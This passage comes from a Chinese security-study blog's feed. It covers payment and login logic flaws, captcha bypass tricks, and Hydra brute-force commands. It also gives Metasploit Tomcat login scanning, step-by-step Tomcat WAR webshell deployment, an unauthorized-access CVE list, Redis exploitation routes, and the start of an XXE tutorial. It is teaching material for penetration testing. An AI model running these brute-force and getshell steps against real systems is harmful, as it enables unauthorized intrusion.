<table><thead><tr><th>类型</th><th>示例</th></tr></thead><tbody><tr><td>负数</td><td>购买数量设为 <code>-1</code>，总额变为负数</td></tr><tr><td>超大数</td><td>金额设为 <code>999999999</code> 导致溢出</td></tr><tr><td>超小数</td><td>金额设为 <code>0.001</code> 绕过最低支付</td></tr></tbody></table></section><section><h3>7.2 其他参数篡改<a href="#72-其他参数篡改"><span>#</span></a></h3><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>商品单价      → 改为 0.01</span></div></div><div><div><div>2</div></div><div><span>商品数量      → 改为负数</span></div></div><div><div><div>3</div></div><div><span>总价          → 改为任意值</span></div></div><div><div><div>4</div></div><div><span>商品编号      → 替换为更贵的商品</span></div></div><div><div><div>5</div></div><div><span>优惠金额      → 改为最大值</span></div></div><div><div><div>6</div></div><div><span>优惠券/卡币   → 任意使用</span></div></div><div><div><div>7</div></div><div><span>积分/货币     → 任意修改</span></div></div><div><div><div>8</div></div><div><span>结算类别      → 替换</span></div></div><div><div><div>9</div></div><div><span>折扣          → 改为 0（免费）</span></div></div><div><div><div>10</div></div><div><span>用户身份信息   → 替换（手机号、邮箱、账号 ID）</span></div></div></code></pre><div><div></div><div></div></div></figure></div></section><section><h3>7.3 顺序执行缺陷<a href="#73-顺序执行缺陷"><span>#</span></a></h3><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>1. 跳过中间逻辑（如审核、验证步骤）</span></div></div><div><div><div>2</div></div><div><span>2. 直接进入发货流程（省略支付）</span></div></div><div><div><div>3</div></div><div><span>3. 重放发货请求 → 多次发货</span></div></div><div><div><div>4</div></div><div><span>4. 获取支付 key → 不支付直接发货</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p><strong>示例：</strong></p><ul>
<li>正常流程：下单 → 支付 → 发货</li>
<li>利用方式：下单后，直接访问发货 URL（跳过支付）</li>
</ul><hr /></section></section>
<section><h2>八、未授权漏洞<a href="#八未授权漏洞"><span>#</span></a></h2><p>无需登录即可访问需要认证的资源。</p><p><strong>典型场景：</strong></p><ul>
<li>后台目录可被直接访问</li>
<li>API 接口无认证校验</li>
<li>通过修改 UID/role 参数绕过</li>
<li>通过响应包篡改绕过登录</li>
</ul><hr /></section>
<section><h2>九、登录页面渗透思路<a href="#九登录页面渗透思路"><span>#</span></a></h2>

<table><thead><tr><th>测试点</th><th>说明</th></tr></thead><tbody><tr><td>短信/邮箱轰炸</td><td>重复发送验证码</td></tr><tr><td>密码爆破</td><td>字典攻击</td></tr><tr><td>用户名爆破</td><td>枚举有效用户</td></tr><tr><td>验证码安全</td><td>前端校验、重复使用、空值绕过</td></tr><tr><td>HTML 源码泄露</td><td>测试账号在注释中</td></tr><tr><td>SQL 注入</td><td>登录框注入</td></tr><tr><td>XSS</td><td>用户名/密码字段</td></tr><tr><td>撞库</td><td>社工机器人</td></tr><tr><td>空密码</td><td>尝试空密码登录</td></tr><tr><td>认证凭证替换</td><td>修改返回包中的账号字段</td></tr><tr><td>Cookie 仿冒</td><td>修改 Cookie 中的身份标识</td></tr></tbody></table><hr /></section>
<section><h2>十、密码找回功能逻辑漏洞<a href="#十密码找回功能逻辑漏洞"><span>#</span></a></h2>

<table><thead><tr><th>漏洞类型</th><th>说明</th></tr></thead><tbody><tr><td>短信/邮箱轰炸</td><td>重复发送验证码</td></tr><tr><td>短信/邮箱劫持</td><td>接收其他用户的验证码</td></tr><tr><td>验证码与用户未绑定</td><td>用自己验证码修改他人密码</td></tr><tr><td>跳过验证步骤</td><td>直接访问重置密码页面</td></tr><tr><td>验证码返回到前端</td><td>在响应包中直接返回验证码</td></tr><tr><td>弱 Token</td><td>重置密码 Token 可预测</td></tr><tr><td>Session 覆盖</td><td>通过 Session 猜测他人身份</td></tr><tr><td>爬虫批量修改</td><td>自动遍历用户 ID 重置密码</td></tr></tbody></table><hr /></section>
<section><h2>📌 快速参考卡片<a href="#-快速参考卡片"><span>#</span></a></h2><section><h3>验证码绕过速查<a href="#验证码绕过速查"><span>#</span></a></h3><div><figure><figcaption><span></span><span>Terminal window</span></figcaption><pre><code><div><div><div>1</div></div><div><span># 1. 删除验证码参数</span></div></div><div><div><div>2</div></div><div><span>user</span><span>=</span><span>admin</span><span>&amp;</span><span>pwd</span><span>=</span><span>123</span><span>  </span><span># 删除 &amp;code=xxx</span></div></div><div><div><div>3</div></div><div>
</div></div><div><div><div>4</div></div><div><span># 2. 默认验证码</span></div></div><div><div><div>5</div></div><div><span>000000</span><span> </span><span>/</span><span> </span><span>111111</span><span> </span><span>/</span><span> </span><span>888888</span></div></div><div><div><div>6</div></div><div>
</div></div><div><div><div>7</div></div><div><span># 3. 重复使用</span></div></div><div><div><div>8</div></div><div><span>验证码不变，多次尝试</span></div></div><div><div><div>9</div></div><div>
</div></div><div><div><div>10</div></div><div><span># 4. 前端绕过</span></div></div><div><div><div>11</div></div><div><span>直接抓包重放</span></div></div><div><div><div>12</div></div><div>
</div></div><div><div><div>13</div></div><div><span># 5. 生成规则预测</span></div></div><div><div><div>14</div></div><div><span>时间戳后6位</span><span> </span><span>/</span><span> </span><span>rand</span><span>(</span><span>1000,9999</span><span>)</span></div></div></code></pre><div><div></div><div></div></div></figure></div></section><section><h3>越权测试流程<a href="#越权测试流程"><span>#</span></a></h3><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>1. 用用户A登录 → 抓取请求</span></div></div><div><div><div>2</div></div><div><span>2. 识别身份标识参数（uid、userid、token）</span></div></div><div><div><div>3</div></div><div><span>3. 将参数改为用户B的值</span></div></div><div><div><div>4</div></div><div><span>4. 观察响应是否有变化</span></div></div><div><div><div>5</div></div><div><span>5. 尝试更改为 admin/1/0 测试垂直越权</span></div></div></code></pre><div><div></div><div></div></div></figure></div></section><section><h3>支付逻辑测试点<a href="#支付逻辑测试点"><span>#</span></a></h3><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>1. 修改数量为负数</span></div></div><div><div><div>2</div></div><div><span>2. 修改单价为小数</span></div></div><div><div><div>3</div></div><div><span>3. 修改总价为 0.01</span></div></div><div><div><div>4</div></div><div><span>4. 替换商品编号</span></div></div><div><div><div>5</div></div><div><span>5. 跳过支付步骤</span></div></div><div><div><div>6</div></div><div><span>6. 重放发货请求</span></div></div></code></pre><div><div></div><div></div></div></figure></div></section></section>]]></content>
    </entry>
    <entry>
      <id>https://blog.emberlag.com/posts/weak-password-and-unauthorized-access/</id>
      <title type="text">弱口令与未授权访问</title>
      <published>2026-09-23T15:00:00.000Z</published>
      <updated>2026-09-23T15:00:00.000Z</updated>
      <author><name>3mb3rl4g</name></author>
      <link rel="alternate" href="https://blog.emberlag.com/posts/weak-password-and-unauthorized-access/"/>
      <summary type="text">Hydra 服务爆破、Tomcat 后台弱口令 getshell，以及未授权访问漏洞清单与挖掘思路。</summary>
      <content type="html"><![CDATA[<section><h2>一、服务弱口令爆破（Hydra）<a href="#一服务弱口令爆破hydra"><span>#</span></a></h2><section><h3>1.1 基本用法<a href="#11-基本用法"><span>#</span></a></h3><p>Hydra 是一款支持多种协议的爆破工具。</p><div><figure><figcaption><span></span><span>Terminal window</span></figcaption><pre><code><div><div><div>1</div></div><div><span>hydra</span><span> </span><span>-L</span><span> </span><span>用户名字典</span><span> </span><span>-P</span><span> </span><span>密码字典</span><span> </span><span>-t</span><span> </span><span>线程数</span><span> </span><span>服务://目标IP:端口</span></div></div></code></pre><div><div></div><div></div></div></figure></div></section><section><h3>1.2 常见服务爆破命令<a href="#12-常见服务爆破命令"><span>#</span></a></h3>

<table><thead><tr><th>服务</th><th>端口</th><th>命令示例</th></tr></thead><tbody><tr><td><strong>SSH</strong></td><td>22</td><td><code>hydra -L user.txt -P pass.txt -t 20 ssh://192.168.198.131:22</code></td></tr><tr><td><strong>RDP</strong></td><td>3389</td><td><code>hydra -L user.txt -P pass.txt -t 20 rdp://192.168.68.137:3389</code></td></tr><tr><td><strong>FTP</strong></td><td>21</td><td><code>hydra -L user.txt -P pass.txt -t 20 ftp://192.168.198.133:21</code></td></tr><tr><td><strong>SMB</strong></td><td>445</td><td><code>hydra -L user.txt -P pass.txt -t 20 smb://192.168.198.133:445</code></td></tr><tr><td><strong>Telnet</strong></td><td>23</td><td><code>hydra -L user.txt -P pass.txt -t 20 telnet://192.168.198.133:23</code></td></tr></tbody></table><p>⚠️ RDP 爆破存在误报情况，需注意验证。</p><hr /></section></section>
<section><h2>二、Tomcat 后台弱口令 Getshell<a href="#二tomcat-后台弱口令-getshell"><span>#</span></a></h2><section><h3>2.1 场景<a href="#21-场景"><span>#</span></a></h3><p>Tomcat 管理后台（<code>/manager/html</code>）存在弱口令，登录后可通过部署 WAR 包获取服务器权限。</p></section><section><h3>2.2 MSF 爆破模块<a href="#22-msf-爆破模块"><span>#</span></a></h3><div><figure><figcaption><span></span><span>Terminal window</span></figcaption><pre><code><div><div><div>1</div></div><div><span>msf6</span><span> &gt; </span><span>search</span><span> </span><span>tomcat</span></div></div><div><div><div>2</div></div><div><span># 使用弱口令爆破模块</span></div></div><div><div><div>3</div></div><div><span>msf6</span><span> &gt; </span><span>use</span><span> </span><span>auxiliary/scanner/http/tomcat_mgr_login</span></div></div><div><div><div>4</div></div><div>
</div></div><div><div><div>5</div></div><div><span># 查看配置</span></div></div><div><div><div>6</div></div><div><span>msf6</span><span> &gt; </span><span>show</span><span> </span><span>options</span></div></div><div><div><div>7</div></div><div>
</div></div><div><div><div>8</div></div><div><span># 设置参数</span></div></div><div><div><div>9</div></div><div><span>msf6</span><span> &gt; </span><span>set</span><span> </span><span>RHOSTS</span><span> </span><span>目标IP</span></div></div><div><div><div>10</div></div><div><span>msf6</span><span> &gt; </span><span>set</span><span> </span><span>RPORT</span><span> </span><span>目标端口</span></div></div><div><div><div>11</div></div><div><span>msf6</span><span> &gt; </span><span>run</span></div></div></code></pre><div><div></div><div></div></div></figure></div></section><section><h3>2.3 上传 WAR 包 Getshell<a href="#23-上传-war-包-getshell"><span>#</span></a></h3><p><strong>Step 1：制作 WAR 包</strong></p><div><figure><figcaption><span></span><span>Terminal window</span></figcaption><pre><code><div><div><div>1</div></div><div><span># 创建 Webshell 文件（如 goodman.jsp）</span></div></div><div><div><div>2</div></div><div><span>echo</span><span> </span><span>'&lt;% out.println("Hello"); %&gt;'</span><span> &gt; </span><span>goodman.jsp</span></div></div><div><div><div>3</div></div><div>
</div></div><div><div><div>4</div></div><div><span># 打包为 WAR 文件</span></div></div><div><div><div>5</div></div><div><span>jar</span><span> </span><span>cvf</span><span> </span><span>shell.war</span><span> </span><span>goodman.jsp</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p><strong>Step 2：登录 Tomcat 后台</strong></p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>http://目标IP:端口/manager/html</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p><strong>Step 3：部署 WAR 包</strong></p><ul>
<li>找到 “WAR file to deploy” 部分</li>
<li>选择 <code>shell.war</code> 文件</li>
<li>点击 Deploy</li>
</ul><p><strong>Step 4：访问 Webshell</strong></p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>http://目标IP:端口/shell/goodman.jsp</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>💡 蚁剑连接：<code>http://xxx:xxx/shell/goodman.jsp</code>，密码 <code>passwd</code></p><hr /></section></section>
<section><h2>三、未授权访问漏洞<a href="#三未授权访问漏洞"><span>#</span></a></h2><section><h3>3.1 什么是未授权访问？<a href="#31-什么是未授权访问"><span>#</span></a></h3><p>系统或服务<strong>未配置认证机制</strong>或<strong>认证绕过</strong>，攻击者无需凭证即可访问敏感资源。</p></section><section><h3>3.2 常见端口与服务对照<a href="#32-常见端口与服务对照"><span>#</span></a></h3>

<table><thead><tr><th>端口</th><th>服务</th><th>说明</th></tr></thead><tbody><tr><td>20, 21</td><td>FTP</td><td>文件传输协议</td></tr><tr><td>22</td><td>SSH</td><td>安全 Shell</td></tr><tr><td>23</td><td>Telnet</td><td>远程登录（明文）</td></tr><tr><td>80, 443</td><td>HTTP/HTTPS</td><td>Web 服务</td></tr><tr><td>445</td><td>SMB</td><td>Windows 文件共享</td></tr><tr><td>873</td><td>Rsync</td><td>文件远程同步</td></tr><tr><td>1433</td><td>MSSQL</td><td>Microsoft SQL Server</td></tr><tr><td>1521</td><td>Oracle</td><td>Oracle 数据库</td></tr><tr><td>20880</td><td>Dubbo</td><td>分布式服务框架</td></tr><tr><td>27017</td><td>MongoDB</td><td>NoSQL 数据库</td></tr><tr><td>3306</td><td>MySQL</td><td>MySQL 数据库</td></tr><tr><td>4848</td><td>GlassFish</td><td>管理端口</td></tr><tr><td>5432, 5433</td><td>PostgreSQL</td><td>PostgreSQL 数据库</td></tr><tr><td>6379</td><td>Redis</td><td>NoSQL 数据库</td></tr><tr><td>6627</td><td>Storm</td><td>Nimbus 默认端口</td></tr><tr><td>8080</td><td>Jenkins</td><td>持续集成管理工具</td></tr><tr><td>8080</td><td>JBoss</td><td>Java 中间件</td></tr><tr><td>8080</td><td>Storm UI</td><td>Storm Web 端口</td></tr><tr><td>9200</td><td>Elasticsearch</td><td>管理端口</td></tr><tr><td>9300</td><td>Elasticsearch</td><td>服务端口</td></tr><tr><td>11211</td><td>Memcached</td><td>分布式内存缓存</td></tr></tbody></table><hr /></section></section>
<section><h2>四、历史未授权访问漏洞清单<a href="#四历史未授权访问漏洞清单"><span>#</span></a></h2><section><h3>4.1 2017 年左右大量发现的漏洞（重点）<a href="#41-2017-年左右大量发现的漏洞重点"><span>#</span></a></h3>

<table><thead><tr><th>序号</th><th>漏洞</th><th>组件/服务</th><th>说明</th></tr></thead><tbody><tr><td>1</td><td>Redis 未授权访问</td><td>Redis</td><td>NoSQL 数据库，6379 端口</td></tr><tr><td>2</td><td>MongoDB 未授权访问</td><td>MongoDB</td><td>NoSQL 数据库，27017 端口</td></tr><tr><td>3</td><td>Memcached 未授权访问</td><td>Memcached</td><td>分布式缓存，11211 端口</td></tr><tr><td>4</td><td>JBoss 未授权访问</td><td>JBoss</td><td>Java 中间件，8080 端口</td></tr><tr><td>5</td><td>VNC 未授权访问</td><td>VNC</td><td>远程控制工具</td></tr><tr><td>6</td><td>Docker 未授权访问</td><td>Docker</td><td>容器管理工具</td></tr><tr><td>7</td><td>ZooKeeper 未授权访问</td><td>ZooKeeper</td><td>分布式协调服务</td></tr><tr><td>8</td><td>Rsync 未授权访问</td><td>Rsync</td><td>文件同步工具，873 端口</td></tr><tr><td>9</td><td>Hadoop 未授权访问</td><td>Hadoop</td><td>大数据系统</td></tr><tr><td>10</td><td>Jenkins 未授权访问</td><td>Jenkins</td><td>CI/CD 工具，8080 端口</td></tr><tr><td>11</td><td>CouchDB 未授权访问</td><td>CouchDB</td><td>NoSQL 数据库</td></tr><tr><td>12</td><td>LDAP 未授权访问</td><td>LDAP</td><td>认证服务</td></tr><tr><td>13</td><td>ActiveMQ 未授权访问</td><td>ActiveMQ</td><td>消息队列</td></tr><tr><td>14</td><td>Jupyter Notebook 未授权访问</td><td>Jupyter</td><td>笔记/代码运行</td></tr><tr><td>15</td><td>Kibana 未授权访问</td><td>Kibana</td><td>数据可视化（ELK）</td></tr><tr><td>16</td><td>RabbitMQ 未授权访问</td><td>RabbitMQ</td><td>消息队列</td></tr><tr><td>17</td><td>Spring Boot Actuator 未授权</td><td>Spring Boot</td><td>监控功能</td></tr><tr><td>18</td><td>FTP 未授权访问</td><td>FTP</td><td>文件传输</td></tr><tr><td>19</td><td>Dubbo 未授权访问</td><td>Dubbo</td><td>分布式服务框架，20880 端口</td></tr><tr><td>20</td><td>NFS 未授权访问</td><td>NFS</td><td>网络文件系统</td></tr><tr><td>21</td><td>Druid 未授权访问</td><td>Druid</td><td>数据库连接池</td></tr><tr><td>22</td><td>Windows IPC 共享未授权</td><td>Windows</td><td>文件共享</td></tr><tr><td>23</td><td>宝塔未授权访问</td><td>宝塔面板</td><td>PHP 服务器管理面板</td></tr><tr><td>24</td><td>PHP-FPM Fastcgi 未授权</td><td>PHP-FPM</td><td>PHP 解析服务</td></tr><tr><td>25</td><td>WebLogic 未授权访问</td><td>WebLogic</td><td>Java 中间件</td></tr></tbody></table></section><section><h3>4.2 近年漏洞（2022-2024）<a href="#42-近年漏洞2022-2024"><span>#</span></a></h3>

<table><thead><tr><th>漏洞</th><th>编号</th><th>说明</th></tr></thead><tbody><tr><td>Nacos 未授权访问</td><td>—</td><td>阿里配置中心</td></tr><tr><td>1Panel 未授权访问</td><td>CVE-2024-27288</td><td>服务器管理面板</td></tr><tr><td>Apache Shiro</td><td>CVE-2022-32532</td><td>Java 安全框架</td></tr><tr><td>Zabbix</td><td>CVE-2022-23134</td><td>监控系统</td></tr><tr><td>Zimbra</td><td>CVE-2022-27925</td><td>邮件系统</td></tr><tr><td>CloudPanel RCE</td><td>CVE-2023-35885</td><td>服务器管理面板</td></tr><tr><td>WebLogic 未授权 RCE</td><td>CVE-2023-21839</td><td>Java 中间件</td></tr><tr><td>Joomla 未授权访问</td><td>CVE-2023-23752</td><td>CMS 系统</td></tr><tr><td>WinRAR 命令执行</td><td>CVE-2023-38831</td><td>压缩软件</td></tr><tr><td>JumpServer 未授权访问</td><td>CVE-2023-42442</td><td>堡垒机</td></tr><tr><td>Jenkins 文件读取</td><td>CVE-2024-23897</td><td>CI/CD 工具</td></tr><tr><td>Confluence 未授权</td><td>CVE-2023-22515</td><td>协同工具</td></tr><tr><td>QNAP RCE</td><td>CVE-2024-27130</td><td>NAS 设备</td></tr><tr><td>Splunk 文件读取</td><td>CVE-2024-36991</td><td>日志分析</td></tr><tr><td>微软 RDP 认证漏洞</td><td>CVE-2024-38077</td><td>Windows 远程桌面</td></tr></tbody></table><hr /></section></section>
<section><h2>五、Redis 未授权访问（典型复现）<a href="#五redis-未授权访问典型复现"><span>#</span></a></h2><section><h3>5.1 检测<a href="#51-检测"><span>#</span></a></h3><div><figure><figcaption><span></span><span>Terminal window</span></figcaption><pre><code><div><div><div>1</div></div><div><span># 连接 Redis</span></div></div><div><div><div>2</div></div><div><span>redis-cli</span><span> </span><span>-h</span><span> </span><span>目标IP</span><span> </span><span>-p</span><span> </span><span>6379</span></div></div><div><div><div>3</div></div><div>
</div></div><div><div><div>4</div></div><div><span># 如果不需要认证，则存在未授权访问</span></div></div><div><div><div>5</div></div><div><span>192.168.x.x:6379</span><span>&gt; </span><span>INFO</span></div></div></code></pre><div><div></div><div></div></div></figure></div></section><section><h3>5.2 利用方式<a href="#52-利用方式"><span>#</span></a></h3>

<table><thead><tr><th>方式</th><th>说明</th></tr></thead><tbody><tr><td>读取敏感数据</td><td><code>GET key</code>、<code>KEYS *</code></td></tr><tr><td>写入 SSH 公钥</td><td>免密登录服务器</td></tr><tr><td>写入 Webshell</td><td>结合 Web 路径</td></tr><tr><td>写入 Crontab</td><td>反弹 Shell</td></tr><tr><td>写启动项</td><td>Windows 开机自启</td></tr></tbody></table></section><section><h3>5.3 防御<a href="#53-防御"><span>#</span></a></h3><div><figure><figcaption><span></span><span>Terminal window</span></figcaption><pre><code><div><div><div>1</div></div><div><span># 设置密码</span></div></div><div><div><div>2</div></div><div><span>requirepass</span><span> </span><span>强密码</span></div></div><div><div><div>3</div></div><div>
</div></div><div><div><div>4</div></div><div><span># 绑定 IP</span></div></div><div><div><div>5</div></div><div><span>bind</span><span> </span><span>127.0.0.1</span></div></div></code></pre><div><div></div><div></div></div></figure></div><hr /></section></section>
<section><h2>六、挖掘思路<a href="#六挖掘思路"><span>#</span></a></h2><section><h3>6.1 端口扫描<a href="#61-端口扫描"><span>#</span></a></h3><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>1. 使用 Nmap 扫描目标端口</span></div></div><div><div><div>2</div></div><div><span>2. 识别开放端口对应的服务</span></div></div><div><div><div>3</div></div><div><span>3. 尝试使用默认账号密码或空密码登录</span></div></div><div><div><div>4</div></div><div><span>4. 查找是否存在历史未授权漏洞</span></div></div></code></pre><div><div></div><div></div></div></figure></div></section><section><h3>6.2 搜索技巧<a href="#62-搜索技巧"><span>#</span></a></h3><p>在 <strong>搜狗微信搜索</strong>（<a href="https://weixin.sogou.com/%EF%BC%89%E6%90%9C%E7%B4%A2%EF%BC%9A" target="_blank">https://weixin.sogou.com/）搜索：</a></p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>"存在未授权访问漏洞" 组件名</span></div></div><div><div><div>2</div></div><div><span>"未授权访问" 漏洞复现</span></div></div></code></pre><div><div></div><div></div></div></figure></div><hr /></section></section>
<section><h2>📌 快速参考卡片<a href="#-快速参考卡片"><span>#</span></a></h2><section><h3>Hydra 爆破模板<a href="#hydra-爆破模板"><span>#</span></a></h3><div><figure><figcaption><span></span><span>Terminal window</span></figcaption><pre><code><div><div><div>1</div></div><div><span>hydra</span><span> </span><span>-L</span><span> </span><span>用户字典</span><span> </span><span>-P</span><span> </span><span>密码字典</span><span> </span><span>-t</span><span> </span><span>线程数</span><span> </span><span>服务://IP:端口</span></div></div></code></pre><div><div></div><div></div></div></figure></div></section><section><h3>常见弱口令<a href="#常见弱口令"><span>#</span></a></h3>

<table><thead><tr><th>用户名</th><th>密码</th></tr></thead><tbody><tr><td>admin</td><td>admin</td></tr><tr><td>admin</td><td>123456</td></tr><tr><td>root</td><td>root</td></tr><tr><td>root</td><td>123456</td></tr><tr><td>tomcat</td><td>tomcat</td></tr><tr><td>manager</td><td>manager</td></tr></tbody></table></section><section><h3>未授权漏洞检测流程<a href="#未授权漏洞检测流程"><span>#</span></a></h3><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>1. 端口扫描 → 发现开放端口</span></div></div><div><div><div>2</div></div><div><span>2. 识别服务 → 根据端口判断服务类型</span></div></div><div><div><div>3</div></div><div><span>3. 尝试连接 → 使用对应客户端连接（Redis-cli、MongoDB Shell 等）</span></div></div><div><div><div>4</div></div><div><span>4. 确认漏洞 → 无需认证可操作</span></div></div><div><div><div>5</div></div><div><span>5. 利用 → 写入 Webshell/SSH 公钥/反弹 Shell</span></div></div></code></pre><div><div></div><div></div></div></figure></div></section><section><h3>需重点复现的漏洞<a href="#需重点复现的漏洞"><span>#</span></a></h3><ul>
<li>Redis 未授权访问</li>
<li>Jenkins 未授权访问 (CVE-2024-23897)</li>
<li>WebLogic 未授权访问 (CVE-2023-21839)</li>
<li>JumpServer 未授权访问 (CVE-2023-42442)</li>
<li>Joomla 未授权访问 (CVE-2023-23752)</li>
</ul></section></section>]]></content>
    </entry>
    <entry>
      <id>https://blog.emberlag.com/posts/xxe/</id>
      <title type="text">XXE 外部实体注入</title>
      <published>2026-09-22T15:16:00.000Z</published>
      <updated>2026-09-22T15:16:00.000Z</updated>
      <author><name>3mb3rl4g</name></author>
      <link rel="alternate" href="https://blog.emberlag.com/posts/xxe/"/>
      <summary type="text">XXE 的成因、文件读取与 SSRF 利用链，以及禁用外部实体的防御方案。</summary>
      <content type="html"><![CDATA[<section><h2>一、XXE 概述<a href="#一xxe-概述"><span>#</span></a></h2><section><h3>1.1 什么是 XXE？<a href="#11-什么是-xxe"><span>#</span></a></h3><p><strong>XXE</strong>（XML External Entity Injection，<strong>XML 外部实体注入</strong>）是一种利用 XML 解析器特性进行攻击的漏洞。</p></section><section><h3>1.2 学习意义<a href="#12-学习意义"><span>#</span></a></h3>

<table><thead><tr><th>场景</th><th>说明</th></tr></thead><tbody><tr><td><strong>漏扫设备</strong></td><td>AWVS、XRAY 等漏扫工具 100% 包含 XXE 检测规则</td></tr><tr><td><strong>实际工作</strong></td><td>防守方接触大量安全设备，做监控时需识别 XXE 攻击流量</td></tr><tr><td><strong>HW 行动</strong></td><td>初级人员做监控，会看到大量包含 XXE 的攻击流量</td></tr></tbody></table><hr /></section></section>
<section><h2>二、XML 基础知识<a href="#二xml-基础知识"><span>#</span></a></h2><section><h3>2.1 什么是 XML？<a href="#21-什么是-xml"><span>#</span></a></h3>

<table><thead><tr><th>特性</th><th>说明</th></tr></thead><tbody><tr><td>全称</td><td>可扩展标记语言（EXtensible Markup Language）</td></tr><tr><td>设计目的</td><td><strong>传输数据/存储数据（配置文件）</strong>，而非显示数据</td></tr><tr><td>标签</td><td>未被预定义，需自行定义</td></tr><tr><td>特点</td><td>具有自我描述性</td></tr></tbody></table></section><section><h3>2.2 XML 与 HTML 的区别<a href="#22-xml-与-html-的区别"><span>#</span></a></h3>

<table><thead><tr><th>对比</th><th>HTML</th><th>XML</th></tr></thead><tbody><tr><td>设计目的</td><td>显示数据</td><td>传输/存储数据</td></tr><tr><td>标签</td><td>预定义</td><td>自定义</td></tr><tr><td>作用</td><td>展示内容</td><td>描述数据</td></tr></tbody></table></section><section><h3>2.3 基础语法<a href="#23-基础语法"><span>#</span></a></h3><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>&lt;?</span><span>xml</span><span> version</span><span>=</span><span>"1.0"</span><span> encoding</span><span>=</span><span>"UTF-8"</span><span>?&gt;</span></div></div><div><div><div>2</div></div><div><span>&lt;</span><span>note</span><span>&gt;</span></div></div><div><div><div>3</div></div><div><span><span>    </span></span><span>&lt;</span><span>to</span><span>&gt;Tove&lt;/</span><span>to</span><span>&gt;</span></div></div><div><div><div>4</div></div><div><span><span>    </span></span><span>&lt;</span><span>from</span><span>&gt;Jani&lt;/</span><span>from</span><span>&gt;</span></div></div><div><div><div>5</div></div><div><span><span>    </span></span><span>&lt;</span><span>heading</span><span>&gt;Reminder&lt;/</span><span>heading</span><span>&gt;</span></div></div><div><div><div>6</div></div><div><span><span>    </span></span><span>&lt;</span><span>body</span><span>&gt;Don't forget me this weekend!&lt;/</span><span>body</span><span>&gt;</span></div></div><div><div><div>7</div></div><div><span>&lt;/</span><span>note</span><span>&gt;</span></div></div></code></pre><div><div></div><div></div></div></figure></div></section><section><h3>2.4 语法规则<a href="#24-语法规则"><span>#</span></a></h3>

<table><thead><tr><th>规则</th><th>说明</th></tr></thead><tbody><tr><td>必须有<strong>根元素</strong></td><td>如 <code>&lt;note&gt;</code> 是根元素</td></tr><tr><td>XML 声明可选</td><td><code>&lt;?xml version="1.0"?&gt;</code></td></tr><tr><td>所有元素必须有<strong>关闭标签</strong></td><td><code>&lt;tag&gt;&lt;/tag&gt;</code></td></tr><tr><td>标签<strong>大小写敏感</strong></td><td><code>&lt;Tag&gt;</code> 和 <code>&lt;tag&gt;</code> 不同</td></tr><tr><td>必须<strong>正确嵌套</strong></td><td><code>&lt;a&gt;&lt;b&gt;&lt;/b&gt;&lt;/a&gt;</code></td></tr><tr><td>属性值必须加<strong>引号</strong></td><td><code>&lt;img src="a.jpg"/&gt;</code></td></tr><tr><td>空格会被保留</td><td>不同于 HTML</td></tr></tbody></table></section><section><h3>2.5 命名规则<a href="#25-命名规则"><span>#</span></a></h3><ul>
<li>可包含字母、数字及其他字符</li>
<li><strong>不能以数字或标点开头</strong></li>
<li><strong>不能以</strong> <code>xml</code><strong>（或 XML、Xml 等）开头</strong></li>
<li><strong>不能包含空格</strong></li>
</ul><hr /></section></section>
<section><h2>三、DTD（文档类型定义）<a href="#三dtd文档类型定义"><span>#</span></a></h2><section><h3>3.1 什么是 DTD？<a href="#31-什么是-dtd"><span>#</span></a></h3><p>DTD 的作用是定义 XML 文档的<strong>合法构建模块</strong>。</p><p>拥有正确语法的 XML 称为”<strong>形式良好</strong>”的 XML。
通过 <strong>DTD 验证</strong>的 XML 称为”<strong>合法</strong>”的 XML。</p></section><section><h3>3.2 内部 DTD<a href="#32-内部-dtd"><span>#</span></a></h3><p>DTD 包含在 XML 源文件中：</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>&lt;?</span><span>xml</span><span> version</span><span>=</span><span>"1.0"</span><span>?&gt;</span></div></div><div><div><div>2</div></div><div><span>&lt;!</span><span>DOCTYPE</span><span> </span><span>note</span><span><span> </span><span>[</span></span></div></div><div><div><div>3</div></div><div><span><span>    </span></span><span>&lt;!ELEMENT note (to,from,heading,body)&gt;</span></div></div><div><div><div>4</div></div><div><span><span>    </span></span><span>&lt;!ELEMENT to (#PCDATA)&gt;</span></div></div><div><div><div>5</div></div><div><span><span>    </span></span><span>&lt;!ELEMENT from (#PCDATA)&gt;</span></div></div><div><div><div>6</div></div><div><span><span>    </span></span><span>&lt;!ELEMENT heading (#PCDATA)&gt;</span></div></div><div><div><div>7</div></div><div><span><span>    </span></span><span>&lt;!ELEMENT body (#PCDATA)&gt;</span></div></div><div><div><div>8</div></div><div><span><span>]</span><span>&gt;</span></span></div></div><div><div><div>9</div></div><div><span>&lt;</span><span>note</span><span>&gt;</span></div></div><div><div><div>10</div></div><div><span><span>    </span></span><span>&lt;</span><span>to</span><span>&gt;程咬金&lt;/</span><span>to</span><span>&gt;</span></div></div><div><div><div>11</div></div><div><span><span>    </span></span><span>&lt;</span><span>from</span><span>&gt;貂蝉&lt;/</span><span>from</span><span>&gt;</span></div></div><div><div><div>12</div></div><div><span><span>    </span></span><span>&lt;</span><span>heading</span><span>&gt;通知&lt;/</span><span>heading</span><span>&gt;</span></div></div><div><div><div>13</div></div><div><span><span>    </span></span><span>&lt;</span><span>body</span><span>&gt;今天晚上，大战三百回合！&lt;/</span><span>body</span><span>&gt;</span></div></div><div><div><div>14</div></div><div><span>&lt;/</span><span>note</span><span>&gt;</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p><strong>元素声明解释：</strong></p>

